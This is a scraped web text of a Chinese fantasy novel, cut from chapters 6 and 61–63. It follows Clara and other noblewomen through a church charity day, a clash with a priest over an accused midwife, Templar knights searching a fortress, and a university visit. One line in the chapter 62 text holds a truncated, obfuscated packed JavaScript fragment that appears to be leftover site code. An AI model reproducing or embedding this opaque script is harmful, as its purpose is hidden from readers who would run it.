提到诅咒,艾洛薇转过头,问她,“说起来,你知道安德鲁的诅咒吗?” 克劳拉眼神心虚地飘了一会,很快有直视艾洛薇,回答不清楚。 “亲爱的,你可是一点表情都藏不住。”艾洛薇取笑她,“看来你是知道安德鲁会读心的事,不过看你之前和殿下相处很自然,这两天才知道的?” “据说德文希伯爵和几位主教关系不错,是他告诉你的吗?” 克劳拉不想多说她是从何而知的,她只想问艾洛薇,她知道这些后是如何做到和卡尔正常相处,也想问艾洛薇难道不觉得被读心很可怕吗。 艾洛薇看出克劳拉的疑问,“也不用那么紧张,殿下只能读到负面情绪相关,恐惧、怀疑、嫉妒、悲伤、痛苦、憎恶诸如此类,不然怎么能算得上是诅咒。” “总之保持平常心正常相处就好,至少克劳拉你的喜怒哀乐都写在脸上,不用读心都可以看出来哦。” 克劳拉下意识皱眉,又觉得这样会暴露自己的心情,顾作镇定地装作无事发生。 她的表情变化,又引得艾洛薇想笑,艾洛薇连忙打开扇子,遮住嘴角。 艾洛薇拉着克劳拉在一颗古老的大树下坐下,克劳拉犹豫了一会,裙摆上不会粘上泥土吧,随后还是选择跟随艾洛薇的动作。 “克劳拉,斐迪南家和德文希家不同,我的母亲只有三位女儿,没有儿子。所以我并不想这么快订婚,你能理解吗?” 克劳拉当然理解,通常来说女儿是没法继承父亲的爵位与财产的。 对于艾洛薇这种情况,若是她的父亲去世,要么只能由父亲的私生子继承,而母女四人需要看私生子脸色过活——当然如果艾洛薇的姐妹们出嫁了又是另一回事,母亲也可以跟随女儿生活。 要么三个女儿其中一位招婿,入赘的女婿可以继承这爵位和财产。 艾洛薇的大姐早两年已经嫁人,二姐如今也定下了婚约,即将与对方完婚。一旦艾洛薇与安德鲁订婚,斐迪南公爵就有正当的理由将私生子接回来。 显然这并不是艾洛薇想看到的,“所以,我暂 6. 第6章 《克劳拉小姐总是不高兴[西幻]》全本免费阅读 布施日是由教会牵头举行的大型慈善活动,时间定于每个季节第二个月的最后一日。 在这一天,海伦女校与修道院的各位贵女们,会集体出行,分别在王都四个布施点为贫民与乞丐们提供免费的餐食——多为黑面包及燕麦糊糊。 男校的贵族们在这一天则会集体外出狩猎。 四月的布施日尤其人多,由于五月节近在眼前,大量的外地贵族乡坤们都会汇集至王都,周围城镇的平民也会专程来王都免费用餐以及过节。 海伦女校的贵女们带着帷帽,穿着白色的衣裙,修女们也是同色修女服,只是她们仅戴着头巾,并没有围面纱。 “克劳拉,”艾洛薇轻扯克劳拉的腰带,将她带离前往打餐的队伍,“跟我来。” 两人穿过忙碌的人群,来到一顶圆顶帐篷面前,帐篷门口有两位守卫的骑士,身着银金色的铠甲,胸口处带有狮鹫的浮雕。 “托你的福,这次的守卫可是殿下的骑士团成员。”艾洛薇压低声音,在克劳拉的耳边说道。 克劳拉不置可否,明眼人都知道来保护的到底是谁,她懒得反驳艾洛薇。 进到帐篷里后,已经有两位贵女等在里面,克劳拉认出她们都是常跟在艾洛薇身边的人。 艾洛薇介绍双方的身份,互相行礼后,才围坐在桌前交谈。 “这里设立了一个小型的祷告处,不过因为修女院人手实在不足,城东的祷告处就交由我们学校了。”艾洛薇解释道, “不过不用担心,骑士会甄别身份确定安全后才会将人放进来,且这边的祷告处只有女性能够进来。” 不管怎么样,总比在打餐处一直站着走动好。之前克劳拉在打餐处,每次都会出现有乞丐死死抓住打餐贵女的手,非要一旁的骑士用武器威胁才肯放手。 贵女们通常都不愿意参加布施,只是贵族以及教会认为这是合理的必须的体察民情与体现君主仁慈的手段,故而哪怕每次都会有或大或小的状况发生,这项活动仍持续至今。 “上位者不用亲自动手,就能体现他的仁慈,可苦了我们这些花季少女。”艾洛薇喝着茶,微笑着道。 两位贵女笑而不语,看来早以习惯艾洛薇时不时说出一些惊世骇俗的话语。 克劳拉这几天都有思考艾洛薇前几天说的话,此前她从未思考过这些,若是放在她不知道剧情以前,或许会对此嗤之以鼻——不管女性怎么努力,她的成就最终都会归功于她父亲或丈夫教育得好。 事实也如此,如果没有父亲和丈夫的许可,一位女性怎么可能接触并学习到知识。 而现在她知道书中自己的结局后,却开始思考起来了。艾洛薇在书中不需要姓名,因为她的价值只有卡尔真爱这一点,所以全书只要用真爱代称她。 类似的角色有很多,比如克劳拉本人的名字也大量地被伯爵的妹妹,王子的未婚妻,善良的为王子解开诅咒之人代替。 而无论是哪位主角,书中他们的人生轨迹里都没有母亲的出现。 克劳拉与伊登的母亲朱莉安在他们出生时难产而亡,老伯爵为此消沉了很久,为了儿女才不得不重新振作。国王原本想为他再娶一位贵女,但被拒绝,老伯爵还因此在贵族圈被嘲笑了许久,因为他的不中用。 安德鲁王子殿下的母亲玛丽王后,她是一位毒妇,她因嫉恨国王不断宠幸其他女人,对国王下药至其不育。 事情败露后,国王震怒,前温斯顿公爵为保女儿性命主动上交军权,可惜玛丽王后仍被执以绞刑。这还一度导致安德鲁王子殿下失去宠爱,若不是王子的舅舅,现任温斯顿公爵战功赫赫,并全力支持他的侄子,王子恐怕也早以被国王废逐。 唯一能被民众广泛知晓姓名的玛丽王后,却是因为她的恶毒行径,她的名字被人唾骂、羞辱,人们都为王子殿下有这样一位母亲而感到悲哀与同情。 克劳拉不知道卡尔是如何看待玛丽王后的,也不知道卡尔被诅咒的原因是否与玛丽王后有关。 她只是在想,如果想要改变书中的命运,克劳拉是否也应该让她的名字被众人知晓,善名也好,恶名也罢,至少让人记住她的名字——克劳拉,而不是德文希家的小姐,伯爵的妹妹这种笼统的代称。 渐渐地帐篷外有人声传来,克劳拉几人各自分开至四个小桌前,准备接受他人的祷告。 分开前,艾洛薇小声提醒她,“克劳拉一会不管祷告的人向你寻求任何帮助,你都不要答应,只需要回复她们保持信仰,保持善良,神明会注视祂的信徒。” 克劳拉点头称是,对于即将面对的素不相识的女性们怀揣着好奇,平民女性们又会过着怎样的生活。 但因为克劳拉第一次来到祷告处,艾洛薇特意叮嘱了牵引的侍从少将人引到克劳拉那边。 于是接下来的一小时,克劳拉接待的祷告少得可怜。 一位商人的妻子,来祷告自己新婚丈夫忽然过世后,因为两人没有孩子,她不得不再嫁给丈夫的弟弟。 克劳拉以为她并不想嫁,这位夫人却摇头说:“不,这样很好,反正回到家中后我只会被嫁到更差的地方去。”她带着对未来的期待,祷告后离开。 一位年迈的妇人前来祷告,几年前她为儿子挑选了一位农村儿媳,她一直看不惯儿媳,对儿媳挑三拣四。不久前她生了一场大病,身体变得虚弱了,现在反遭到了儿媳的虐待, “天呐,她来到我家后三年没有孩子出生,我抱怨两句就算得上虐待了吗?那她现在对我做的一切又算什么?” 克劳拉不知道如何安慰她,只好使用艾洛薇教她的那一套说辞。妇人祈祷片刻后,道谢离开。 午餐时刻快到了,不过因为今天是布施日,哪怕是贵女们的午餐也不会很丰盛,只有一些点心和茶水。 克劳拉百无聊赖发呆思考的时候,一位少女来到她的桌前,“你好,请问这里可以祷告吗?” 克劳拉回过神,邀请她坐下。眼前的少女年龄并不大,似乎比克劳拉还小,酒红色的长发盘在脑后,琥珀色的眼睛像小鹿一样懵懂清澈。克劳拉不禁想,这样一位女孩又会有怎样的烦恼。 女孩在她的注视下,有些不自然地撇过脸,用手将颊边的碎发别到耳后,紧张地说道:“我的父亲,想要我嫁人。” 克劳拉大概懂了,这或许是对嫁人对象并不满意,她询问,“而你并不喜欢这位结婚对象?” “他的年龄比我的父亲都大。”女孩有些伤心,“但是没有办法,我的家中还有两个弟弟两个妹妹,现在母亲又将有新的孩子……”
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男主人难以置信地望向克劳拉,他大声质问妻子和孩子的情况,挤开侍卫们想要强行闯入房间内,但克劳拉屹然不动,没有退开一步。 “克劳拉!”弗洛伦斯跑过来,和她并肩站着,“库里神父,与其说这里有魔女,你不如解释为什么你们的医者迟迟无法让孩子出生,折磨孕妇!” 神父有些惊讶于见到弗洛伦斯,但对于她的指控,却认真反驳:“专业人员当然有必须这么做的理由,你们没有学习过,产生误解很正常——让我痛心的是你们两位年轻的小姐,居然成为了魔女的爪牙,还请你们让开一些,免得侍卫伤害到你们。” 今天神父铁了心要进到屋内,男主人也在用力推动另半边房门。 弗洛伦斯朝克劳拉摇摇头,带着她让开了路。 众人也终于见到了昏迷的产妇与死去的男婴,男主人终于崩溃地嚎啕大哭起来,若非侍卫的阻拦,他怕是要冲上去厮打他妻子的姐姐。 在一片混乱中,满脸镇定的女士开口了,她说:“孩子是因为医者迟迟不作为,窒息而死,至少我妹妹的命保住了——若是换你们,恐怕大人死了也要将孩子生出来。” “我从一开始就多次反对过医者协会仰躺式的生产,所谓的最佳生产方式不过是借口,教会与医者协会目的到底是什么你们心里清楚——王都已经不幸离世了那么多女人,不乏有贵族夫人,引起了陛下的怀疑,你们就将目光转向了这些边境的女人!你们还有没有良心!对得起你们口中的神明吗!” 她的声音深恶痛疾,饱含着控诉与心痛。 她的话像一记重锤击打在了克劳拉心中。她隐约预感到了导致母亲死亡的凶手——难道只是一种改变了的生产方式吗? 克劳拉转头望向弗洛伦斯,似乎想要她说些什么。弗洛伦斯避开了这道视线。 神父的声音传来,“仰躺式是最能获得神眷的姿势,能避免母子都被恶魔带走,这是经过医者协会确认过的,魔女不要用谎言扰乱人心……” “你们从何处确认的!到底是谁在蛊惑人心,你们教会坏事做尽……” 剩下的话克劳拉都听不见了,她脑海中仿佛出现了同样的画面,助产士们牢牢按住虚弱的母亲,就像一只待宰的羔羊。而一群穿着绅士服的恶魔却围在她的床边,手中拿着死神的钳子—— 她回想起祭司莫名的眼神,想起在藏书阁中阅读过的,关于部落、古人生产时的姿势,想起霍德华侯爵闪烁的目光——仰躺式真的是能与神明对话的姿势吗?对话的神明难道是死神吗? 61. 64章 走廊尽头的窗户被渡鸦啄得砰砰响,弗洛伦斯注意到了细微的动静,她走出房间,看到了这只奇异的乌鸦。她将窗户打开,寒风伴随着渡鸦冲进屋内,一位少女也在同时跳进屋内。 “安娜?” “嘘!弗洛伦斯小姐!”安娜让渡鸦藏进她的斗篷中,“还请小姐将我家小姐悄悄带过来。” 克劳拉正靠着墙,脑内一片空白,她逼迫自己想些什么,关于怎么救下弗洛伦斯的老师,关于怎么全身而退。 “克劳拉!”弗洛伦斯避开侍卫们,将她拉出了房间,或许有侍卫注意到了,但他们目前都只在乎房间里的魔女。 “安娜!”克劳拉向前两步扑进安娜怀中,她急需一些亲近之人的支撑。 安娜轻轻回抱一下她,说道:“小姐,我收到您的信号,立刻赶了过来,正巧碰到了教会的人马,他们是要抓走什么人吗?我要将人带走吗?传送阵已经画好了。” 克劳拉控制住失态的情绪,恨不得给安娜一个吻面礼,“安娜!你真是我的救星!” 两人迅速谋划好怎么将弗洛伦斯的老师传送走,“我和弗洛伦斯你不用担心,没人敢在西亚尔玛要塞对它的小主人下手,是吧,弗洛伦斯?” “啊?”刚得知安娜就是女巫,而且两人还在她面前光明正大讨论巫术的弗洛伦斯傻眼了,她呆呆地应了一声。 但她很快反应过来,和女巫走是老师最好的选择——尽管在来之前她已经和骑士们约好,若是到点她没有回要塞里,骑士们就会来救走她们。 这时房间里传来动静,安娜迅速从窗户又跳走,隐藏在灌木里,时刻准备启动法阵。 克劳拉与弗洛伦斯对视一眼,两人又重新回到房门边,而老师也被侍卫们押了出来。 老师脚步一顿,看一眼两位女孩,缓缓道:“这件事和她们没有关系,一切都是我主使,不要牵连她们。” “当然,两位只是被魔女蛊惑,只需要这几天来教会重新洗礼几次就好。”神父朝着两人微微躬身,示意侍卫推搡着魔女离开。 紧随其后的男主人回以她们仇视的目光,虽然他的妻子还活着,但他失去了他的儿子,哪怕是领主的孙女也不能原谅。他作出请离的姿态。 楼梯间交错时,老师抬头留给弗洛伦斯一个安抚的表情,对她来说只要保住了妹妹的性命…… 弗洛伦斯紧紧揪住自己的斗篷,哪怕她得知了克劳拉与女巫的计划,但在此前她从来没有见识过女巫巫术,担忧是难免的。她不禁想:老师只是想要救下妹妹的性命,难道错了吗?为什么女人生育不能让女人参与其中? “走吧。”这一次克劳拉拉着她往前,即使克劳拉自己也思绪一片混乱。 两人下到一楼时,却发现押送老师的队伍似乎被阻挡在了庭院里。克劳拉站在台阶上,视野里出现了点点灯光,这些灯光连成片挡住了教会人员的去路。 提灯的人群里有男有女,但更多的是女孩,不少女孩还害怕地紧紧握着彼此的手。寒风中她们的斗篷被吹动,手中的提灯也微微晃动着,白色的罩裙在黑暗中隐约可见。 神父此时还能够维持住脸上的笑容,他询问众人的来意。 为首的女孩,半边面容隐在围巾下,她向前一步,“释放蕾莱老师!她是无罪的!” 身后的人群陆陆续续响起同样的声音,这股声音越来越大,“蕾莱老师是无罪的!” “是姐妹会的人。”弗洛伦斯哈出一团白气,她眼前的画面有些氤氲,似乎是眼里有热流涌动着。 神父的面具终于破裂了,他不敢置信他居然被一群女人拦去了去路,他没法对两位贵族小姐下手,还整治不了一群没背景的女孩吗。他冷下脸,“这是魔女,按照教义,魔女必须要被处死,任何阻碍处刑的人都将视为同罪——” “你说是魔女就是魔女吗!”女孩再次大声道,她的声音让隐隐有些动摇的人心又稳定下来,“我还说你是恶魔!你是恶魔伪装成神父!” “动手!”神父抑制不住自己的怒火,他要制裁这些冒犯教会的人。 “不要这样!孩子们!快住手!神父还请不要伤害这些孩子!”蕾莱女士嘶声呼喊,但在场所有人都对她的话熟视无睹,这位在妹妹生死关头都保持冷静的女性,终于露出了害怕的神情。 侍卫动了,他们束起长枪,但面对这些年轻女孩,他们还是有些犹豫,所以只是慢慢逼近,试图让她们后退。 但女孩们并不惧怕侍卫手中的武器,她们提起提灯狠狠砸在侍卫身上。弗洛伦斯立刻拿出剑跑去保护女孩们。 克劳拉趁机贴近了蕾莱老师,用仅两人听到的音量,“往右边跑,去那颗树下,——您离开了,教会就不会再为难她们。” 蕾莱茫然地回望她。压制她的侍卫想要推开克劳拉,她先一步后撤,躲开了侍卫的触碰。 空中忽然落下几只渡鸦,狠狠地抓在了这两位侍卫脸上,侍卫们不得不松开蕾莱,转而驱散这些该死的乌鸦。 克劳拉推了蕾莱一把,“右边。” “魔女跑了!”侍卫边和渡鸦们缠斗,边高声呼喊吸引神父与前排侍卫的注意。 冰雪拖累了蕾莱的脚步,她选择相信这个仅一面之缘的女孩,朝着一片黑暗的树下跑去。 “魔女你逃不掉的!” “蕾莱老师快跑!” “你们这些该死的婊——” 这个词还没说出口,这个侍卫被一盏油灯砸到了脸上,高温的玻璃罩让他惨叫着倒在雪地上。 砸出油灯的女孩手一缩,口里连声道着歉。 “是——是——女巫!” 追逐着蕾莱的侍卫跌坐在雪地上,神色惊恐。神父顶着异常出现的妖风,这才看清忽然出现的黑色人影,握住了蕾莱的手,而在她们脚下蓝紫色的法阵在黑夜中发出耀眼的光。 邪恶的女巫消失前,还不忘留下恶劣的发言:“来追我呀!” 莫名出现的乌鸦也像她们一样,莫名地消失在黑夜中。 在场所有人都不敢相信自己的眼睛。 “女巫带走了蕾莱老师……”最初站在前列的女孩喃喃着,她差点瘫软在雪地里,弗洛伦斯扶住了她。 “难道蕾莱老师真的是魔女……” “是魔女又怎么样,你忘记你学的东西都是谁教的了吗?” 女孩们窃窃私语,她们互相支撑着彼此,手中的油灯大都不再燃烧,亦或是落到地上。 最初两位侍卫话锋一指,“是她!她和魔女说了些什么,然后乌鸦莫名出现,魔女就往那边逃走了!” 被指中的克劳拉毫不在意地笑起来,“对,是我。” 她不在意暴露身份后会给阿方索带来些什么麻烦——若是阿方索这些压力都顶不住,又何必和女巫合作。 “我是克劳拉·德文希,我的领地即将建立一座女巫塔,我就爱收容各种女巫,怎么圣城的人没有告诉过你们吗?” 神父似乎被她的厚颜无耻气笑了,“我原以为你只是被魔女蛊惑,看来你才是最大的魔女,将她抓起来。” 克劳拉并非冲动才挑衅教会,她坦然地站在原地,任由侍卫们大步接近。 马匹的嘶鸣刺破了雪夜,也惊扰了侍卫们,他们回望神父,神父怒斥,“快将人拿下。” 纯白的马匹精准地绕开女孩们,越过栏杆,直奔庭院,如同一道闪电一般,阻挡了侍卫们的去路,高抬的前蹄仿佛要踏在他们身上。 “塔。”克劳拉扬起嘴角,喊出了来人的名字。 “希姆,您没有受伤吧。”塔躬身朝她伸出手,全然不在意被他惊吓到的侍卫们。 克劳拉握住他手,塔一用力,将她带上了马,侧坐在马前。克劳拉随意调整了姿势,让自己坐得更舒适些,却察觉到塔逐渐紧绷的手臂肌肉。 “我的马匹在后院,晚些让人去牵过来——你怎么一个人脱离队伍先跑过来了?” 塔沉默不语,没有回答。 紧随他之后的士兵也骑着高头大马将这座庭院包围,打头的正是 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塔单手微微扶住克劳拉,一拉缰绳,马匹前蹄抬起,狠狠踢在了出头的侍卫。塔无视剩下试图阻碍他的侍卫,操纵着马匹轻巧地跃动,带着克劳拉回到侯爵的身边。 克劳拉顺势从马上一跃而下,站在弗洛伦斯身边。 “我不管你们在做什么,有什么女巫还是魔女,克劳拉阁下是远道而来的客人。我绝不允许她在要塞受到伤害,到此为止,库里神父。”侯爵的语气不容置喙,哪怕没有克劳拉告知他教会的事,他也一直与教会不和——尤其医者协会近些年越来越不做实事。 神父阴鸷的眼神掠过骑兵,掠过女孩们,他深知今晚他们无法带走克劳拉,还让魔女和女巫溜走了, “抱歉,今晚教会的人会离开,但此事并不能就此作罢,否则就对不起杰克先生过世的孩子。” 杰克家的女仆害怕地穿过侍卫,将两匹马牵给女孩们,弗洛伦斯翻身上马,“对于这位先生的孩子我感到很抱歉,但是究竟是什么原因才导致孩子的死亡,你们心知肚明——教会常说魔女是和恶魔做交易的那个,我看你们才是一群恶魔!” “弗洛娅。”侯爵呵止了弗洛伦斯,转头吩咐士兵们将这些女孩们一一送回去。 克劳拉注意到有位女孩小心地替一名躺在雪地里的侍卫包扎着,嘴里还不住说着什么,直到她的女伴们将她拉走。 女孩们朝着弗洛伦斯挥手,相互搀扶着,在骑兵的陪同下,慢慢消失在黑暗中。 教会的人也在神父的带领下如潮水一样离开。 克劳拉察觉到一道怨毒的目光,她抬头望去,正是站在窗前的男主人。但很快塔替她挡住了这道视线。 “回去吃晚餐。”侯爵调转马头,什么都没有问,仿佛只是出门喊女孩们回家吃饭。 弗洛伦斯没有在外面询问蕾莱和安娜的去处,担心教会的人没有走远。她转而好奇地打量着塔,“你是托里曼人?是克劳拉的护卫?你怎么来得这么及时?” “弗洛娅,回要塞后,你被禁足了。”侯爵冷酷无情地说道,弗洛伦斯立刻转移注意力,策马追上祖父,追问原因。 “所以你为什么抛下队伍偷跑?”克劳拉疑问,她在庭院里时手背一阵发热,就猜到塔就在附近,很快就会来到她身边,所以毫无顾忌地袒露身份。 塔有些别扭,“渡鸦,没有信。” 克劳拉一怔,不知道是因为渡鸦没有带去她的回信,塔误会她遇到了危险才赶来。还是因为她没有写信,塔生闷气先跑来见她,还是两者都有。 不管什么原因,塔出现得都很及时,所以她笑起来,“总之谢谢你赶到我身边。” “克劳拉!快点!我快饿死了。”弗洛伦斯朝着两人挥手。 笑着应答后,克劳拉很快沉下脸,如果弗洛伦斯的老师说的是事实,她一定要弄清这些医者强迫产妇们使用固定姿势的原因到底是什么。 62. 第62章 教会沉寂一整天后,终于有了动作。事情发生后第三天清晨,一队身着银白色铠甲,握着印有十字架盾牌的骑兵来到了要塞门口——是圣殿骑士团。 要塞立刻进入备战状态,侯爵亲自与这群骑士周旋,“不知圣殿骑士大驾光临,是为了什么?” 副队长冷哼一声:“明知故问!” 对比副队长的冷漠,这支骑兵的队长显得平和很多,他用公事公办地语气道:“教会怀疑要塞私藏魔女,奉命前来搜查。当然,圣殿骑士不会做任何多余的事,只查探确认无魔女踪迹后会立刻离开。” 骑兵队长手持着一位红字大主教信物,侯爵面沉如水,如果说他之前还是对克劳拉的话持怀疑态度,现在已经相信了七七八八。 每个国家教区只有三位大主教,三位大主教通常呆在王都,除非巡察从不离开总教堂。 而红衣大主教则几乎只存在于圣城,只有强大且国土广袤的国家,圣城才会派遣红衣大主教入驻,不巧索滋帝国正有这么一位红衣大主教,他代表的是教皇的意志。 事情才过去一天,时间绝对不够库里神父将消息传回王都,红衣大主教再派遣骑兵前来。 只有一种可能,这支骑兵一直在要塞附近,一直等待时机进入要塞内部查探——寻找魔女只是借口,探明要塞内防守布局、侍卫轮换才是他们真正的目的。 侯爵虽然能压制一名神父,但面对红衣大主教的命令,他还要斟酌犹豫一番。不是侯爵不敢和圣殿骑士团起冲突,而是担心一旦冲突发生,彻底激怒教会,教会会永远离开西亚尔玛郡,连带着整个郡的医者协会和教堂全部关停,大学也会停课。 这并非没有先例,50年前,一位大公自立为王,没有获得教会认可。为制裁这位大公,教会从此在那片土地上消失。很快冬日过后,大公死在了领民暴乱之中,教会的圣光才重新笼罩那片土地。 西亚尔玛要塞于前线受伤的士兵太多了,离不开医者的救治。而医者几乎被垄断在医者协会手中,若是非协会认定医者行医会被认定为施展巫术,被抓起来吊死。 这让侯爵有些进退两难,是让这些骑士进到要塞内部,还是冒着彻底得罪教会的风险也要将他们拦在门外。 “如果你们是来找我的话,那直接让我出来不就好了,何必非得进到要塞里。”克劳拉在雪鸮骑士的簇拥下,慢慢走出要塞大门,目光灼灼注视着圣殿骑士们。 圣殿骑士团成员在见到她的那一瞬都竖起了长枪,而雪鸮骑士与侯爵的士兵们也毫不犹豫亮出武器。 但出乎克劳拉意料,骑兵队长制止了队员,并下马向克劳拉行礼,“神父多有冒犯,还请您原谅,没有人敢越过王室对您不敬——当然我们来此并非为了您,而是为了一位名叫蕾莱的魔女,她于各地私下多次行医,尤其爱伪装成助产士的模样,闯入产房,影响恶劣。教会认定她为一名堕落的魔女,将新生儿献祭给恶魔获得力量。” “你胡说!蕾莱老师才不是魔女,她也不是献祭婴儿,是在救那些产妇!”弗洛伦斯从城墙上探出头,大声冲这些骑兵们喊到。 “弗洛娅!回去!”侯爵怒斥她,但弗洛伦斯并没有被呵退,她仍然探着身子,关注着事态的发展。 “如您所见,这位魔女还擅长于各地洗脑年轻女孩们,让她们为她所用,看来霍德华小姐正是受害者之一,教会会尽快安排替这些无辜的小姐洗礼,还请阁下不用担心。”骑兵队长没有被弗洛伦斯的话影响,他平静地往下说,“所以,我们必须尽快将这位魔女绳之以法,还请侯爵阁下配合我们工作。” 侯爵最终选择了让步,“可以,但需要在北境骑士们的陪同下。以及你们怎么确定魔女究竟在不在要塞内部,若是你们随意地在要塞借口寻找魔女乱闯乱翻,影响我的士兵们值守——” “祖父!您不可以将他们放进来!”弗洛伦斯大声抗议。 “去将小姐带回房,锁起来。”侯爵一捏眉心,狠心下令道。 骑兵队长拿出一个小圆盘,寒风中圆盘的指针慢慢晃动着,“教会有特殊手段,能够检测到魔力残余,一旦确认魔女不在,我们会迅速离去。” 士兵们让开一条路,让圣殿骑士们通过。副队长手握着相同的圆盘,经过克劳拉身边时,指针疯狂旋转,他抬头阴鸷地瞪向克劳拉。 后者抱胸似笑非笑地道:“好像不怎么灵啊,我能手持大主教信物,绝对不可能是魔女才对。” “不代表你和魔女没接触!等着吧,克劳拉·德文希,圣城迟早会揭开你的真面目,将你也钉死在十字架上!啊——” 副队长狠话还未放完,他就被一股巨力揪下马狠狠摔在冰面上,他吐出一口鲜血,这一摔让他五脏六腑全部移位,可想而知袭击他的人力气之大。 他满脸骇然,瞪大双眼想要看清袭击之人的长相。但只看清一双如野兽一般灿金色的瞳孔——马匹发出惊吓的嘶鸣,前蹄踩踏到了他身上,让他彻底昏死过去。 圣殿骑士再次举起手中的长枪,对准忽然发起袭击之人,他们的马匹不安地躁动着。 “塔,够了。”克劳拉伸手,握住塔的左臂,“我说过了,你动手前需要问过我的意思。” 塔眼眸一暗,沉默地望过来。 “免得碰到了什么脏东西,脏东西发现一只就有一群,你要一直弄脏自己的手吗。”克劳拉慢条斯理地拿出手帕替他擦手,“右手也伸过来。” “阁下说得对,至少不要用手,应该用武器。”雪鸮骑士一本正经地搭腔。 “塔的剑也很贵重的!便宜他了,随手捡根棍子打他就好。” 有骑士憋不住笑了起来,被克劳拉一瞪,又收敛了。 “你们应该表现出对人应有的尊重,而不是随意小瞧他人。”克劳拉强调,但她的话反而激怒了那些圣殿骑士们。 圣殿骑士嚷嚷着要发起决斗。骑兵队长终于不再冷眼旁观,“将他拖走吧,侮辱王室成员,是他罪有应得。不要停下,准备搜查!” 队员们这才继续驭马前行,只是脸上愤怒的表情没有敛去。克劳拉耳尖听到了队员们的抱怨,“到底是乡下人,胆小如鼠,区区一个小国准王子妃。”“等回圣城就转告大团长,看他嚣张。” 原本计划雪鸮骑士和北境骑士们的比斗取消了,士兵们需要严格监督圣殿骑士们的动静。 雪鸮骑士索性去将带来的货物卸进要塞的库房里,这是从德林郡带来的一些送给侯爵的地豆以及纺织厂新纺的一批布匹。 还有一批盐和食物,并不多,数量够骑士们自己吃,毕竟都吃主人家的食物终究不太好。 圣殿骑士的动作很快,不到两个小时就准备撤退,克劳拉也不知道他们到底搜查了些什么,但看侯爵阁下的神色不算好,她猜到这支骑士来要塞的真实目的恐怕不简单 克劳拉原以为和西亚尔玛教会撕破脸后,会被大学拒之门外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为几位的不配合,神父没有逮到任何一个在当晚阻拦他们的女孩,更拿两位贵族小姐毫无办法,唯一的魔女又跑了。他要求圣殿骑士前往德文希家的领地搜查,却被告知这不是他能管的事,好好呆在西亚尔玛。 无能狂怒的教父将注意打到了那位失去儿子的乡坤身上。 此时的克劳拉正将前天晚上所见所闻告知给伊登。 “所以你是觉得,母亲是因为这什么仰躺姿势才会难产死去?” “对,我已经写信询问大巫和祭司,明天我会前往西亚尔玛大学,亲口问那些医学生,如果他们知道的话。”克劳拉眼中闪着坚定的光,她必须要知道这些。 这已经不再是蒂斯萝丝一个人的事了,按照蕾莱所说,死去的产妇不止一个,她想要了解这些人死去的真相,同样作为女人,她有权了解这些。 伊登不明所以地抓抓头,“可是,你知道了又能做些什么?这种事情肯定只能医生来做,不让医生进入产房难道不是更加害了她们吗?” “做些什么?这还用想吗。”克劳拉神色认真,她一字一句道,“让女人成为医生,只准女医生进入产房!生育独属于女人,就应该只让女人参与全过程!” 要做到这一切肯定需要漫长的时间,还会遭遇重重阻碍。可是克劳拉一想到那天晚上微弱但繁多的灯光,想到那些害怕却挡在门口的女孩们,她就想为她们做些什么。再多阻碍又如何,她会替这些女孩们一一踏平。 63. 第63章 雪橇行驶在雪地上,这是西亚尔玛特有的行驶工具,在冬天比马车方便多了,克劳拉决定等回领地后也制作几个。 唯一麻烦的是鹿群不好训化,但花点时间总能拥有像侯爵家这样听话的驯鹿。 自由大学在西亚尔玛郡南部边缘,是索滋帝国唯二两所大学,另一所圣学院在王都附近。 大学说得好听是学知识的地方,不如说是教会发展信徒的地方。大部分课程和教会相关,且学生一半以上皆为周边的贵族,不仅仅是索滋帝国的,甚至不少外国贵族前来求学。 平民学生只有少部分,要出头也很难。 不管怎么样,这些大学里都不招收女学生。海伦女校是索滋帝国的女孩们唯一能上的学校,也只招收贵女,教学目的也更倾向培养优秀的贵族夫人。 克劳拉与玛格丽特并肩坐在雪橇后座,周围是一片白茫茫的雪地,偶尔有些枯树和房屋从雪地中冒头。 除了鹿群踏在雪地里的声音,就只有身后另一辆雪橇上骑士们高谈阔论的声音——那帮年轻人总是精力过剩。 克劳拉能明显感受到身边的女孩相当拘谨,放在腹部的手一直搅动着。她不擅长和这种女孩相处,迄今为止她和玛格丽特交谈的次数少得可怜。 驾车的士兵与他身边的塔也都是相当沉默寡言的性格,被几个不爱说话的人包围,克劳拉也变得拘谨起来了——还要多久才能到目的地! 挫败的克劳拉叹口气,在塔的后背画图玩,隔着厚厚的衣服,她认为塔应该感觉不到。 先是画了德文希家的纹章,一只迷你的小雪鸮,想了想又画了一只狼。她很小的时候曾见过一直被打得奄奄一息的狼,即使濒临死亡,那只狼仍然目光凶狠,吓得猎户加重了手中的力道。 巴特想要将那匹狼买下来,阻拦猎户的时候,狼的眼神柔和了一些,很快它就闭上眼离去了。克劳拉一直记得它的眼神,塔像它一样,于是她将那只凶狠的狼画在了塔的背上。 临近目的地时,克劳拉忽然听到玛格丽特仿佛气音一般的疑问,“我真的可以进入里面吗?” “当然!”终于可以说话的克劳拉没控制住自己的音量,吓了身旁人一跳,也让前排的两位微微侧目,“你可以进去!这又不是什么大事!” 玛格丽特不自在地移开目光,再次道谢后又紧紧闭上嘴。 克劳拉讪讪地收回乱画的手,探头往远方望去。行驶了一上午才堪堪望见了那座富丽堂皇的学院——这么看上去和王都的教堂没有什么区别。 但在进入学院时,克劳拉一行人遇到了些麻烦。 “抱歉,小姐,您的侍卫与雪橇不能入内。”确认过信物与邀请函的司门拒绝了塔与骑士们入内。 骑士们不满,“塔是异教徒不让进去我理解,凭什么我们骑士也不能进去?你们打算在学院里面对殿下动手吗?” 司门丝毫不害怕骑士们,在大学门口闹事的人总是很多,不乏有各种贵族,“很抱歉,除了本院学生与受邀请的人,非神职人员不得进入大学内部,这是教会的规定。至于这位小姐的安全,还请放心,教会的地方不会有任何神魔鬼怪。” 克劳拉抬手制止了想要继续争辩的骑士,只询问玛格丽特能否一同进去。 确认过玛格丽特的家族纹章,司门给出了肯定的答复。 “既然如此,你们就在门外稍等一阵。”克劳拉勾勾手,在塔耳边低语了几句,这才带着玛格丽特缓缓地踏入被打开的大门。 “不要紧张,玛格丽特,这只是一所大学而已。”克劳拉轻轻握了一下玛格丽特的手,隔着皮质手套,她也能察觉到玛格丽特的僵硬。 